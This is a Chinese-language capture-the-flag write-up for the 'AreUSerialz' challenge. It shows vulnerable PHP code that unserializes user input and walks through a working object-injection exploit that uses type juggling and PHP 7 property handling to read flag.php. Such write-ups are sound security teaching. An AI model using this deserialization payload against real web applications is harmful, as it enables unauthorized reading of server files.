[网鼎杯 2020 青龙组]AreUSerialz
1.将源代码放到本地php
环境中进行调试
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
2.解题思路
1.通过GET方式进行传参,传给变量str;
2.通过is_valid()函数判断进来的数据大于等于32并且小于等于125;
3.通过反序列化将str的字符串转换成对象。 我们想成功读取文件flag.php的话,需要判断以下条件 (1)我们在写保护的函数中,需要满足的条件是变量content不能大于100; (2)要想触发写保护的话,需要满足的条件是public
function process() 中的op == “1”; (3)要想到写保护的话,需要触发__construct函数
(4)__construfct函数,构造函数,当创建对象时自动调用
4.根据上述代码分析,当$op值强比较=\==不等于str(2),弱比较==等于2
(\$this->op === "2")//不等于字符串类型的 2
(\$this->op == "2") //弱等于2 即可为int(2)
3.所以触发__destruct()
方法也没关系,正常构造即可
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op = '1'; //这里有问题,后面会讲述到protected $filename = 'flag.php';public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}$test = new FileHandler;
var_dump(urlencode(serialize($test)));
4.通过URL
解码,我们发现了在属性op
和filename
前面有乱码
5.使用十六进制进行和查看,可以看到%00%2A%00
,因为op
和filename
是protected
的属性,
在序列化的过程中会被转换成%00*%00
,然而浏览器会将%00
当成空值,因此无法获得flag
6.我还以为抓包就能绕过这题,但是思路错了,使用bp
或者yakit
进行传参后面发现这种方法不得行
7.只能利用php7
的版本对属性的不敏感绕过,需要纠正前面payload
的错,op
的应该是整型,及int()
的类型,正确的payload
如下所示
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {public $op = 2;public $filename = 'flag.php';}$test = new FileHandler;
//var_dump(serialize($test));
var_dump(serialize($test));
8.查看源代码,即可获得flag